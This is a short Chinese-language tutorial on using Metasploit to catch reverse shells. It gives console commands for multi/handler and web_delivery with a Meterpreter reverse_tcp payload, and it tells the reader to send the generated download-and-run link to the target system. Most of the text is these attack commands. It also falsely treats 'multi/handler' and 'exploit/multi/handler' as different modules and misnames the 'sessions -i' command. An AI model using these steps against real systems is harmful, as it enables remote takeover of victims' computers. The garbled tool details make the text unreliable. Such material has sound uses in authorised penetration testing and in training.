Metasploit Framework(MSF)提供了多种方式来监听反弹 shell
Metasploit 的multi/handler 模块适用于大多数分段、非分段和更高级的有效负载。
使用 multi/handler 模块:这是 MSF 中最常用的模块之一,用于监听反弹 shell。它支持多个协议和 payload,可以根据需要进行配置。
msf > use multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.0.100
msf exploit(handler) > set LPORT 4444
msf exploit(handler) > run
使用 exploit/multi/handler 模块:与 multi/handler 类似,但它支持更多的 exploit 和 payload。使用方法类似于 multi/handler。
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.0.100
msf exploit(handler) > set LPORT 4444
msf exploit(handler) > run
使用 exploit/multi/script/web_delivery 模块:该模块可以生成一个可执行文件或 PowerShell 脚本,用于在目标系统上下载和执行 payload。使用方法如下:
msf > use exploit/multi/script/web_delivery
msf exploit(web_delivery) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(web_delivery) > set LHOST 192.168.0.100
msf exploit(web_delivery) > set LPORT 4444
msf exploit(web_delivery) > run
该模块将生成一个下载链接,将其发送给目标系统即可。
使用run -j 而不是不带任何参数的run命令运行,可以在后台启动侦听器,从而在等待连接的时候执行其它命令。使用jobs命令可以获取当前活动的作业列表,包括等待连接的侦听器。使用session -i 和会话 ID 作为参数与其进行交互。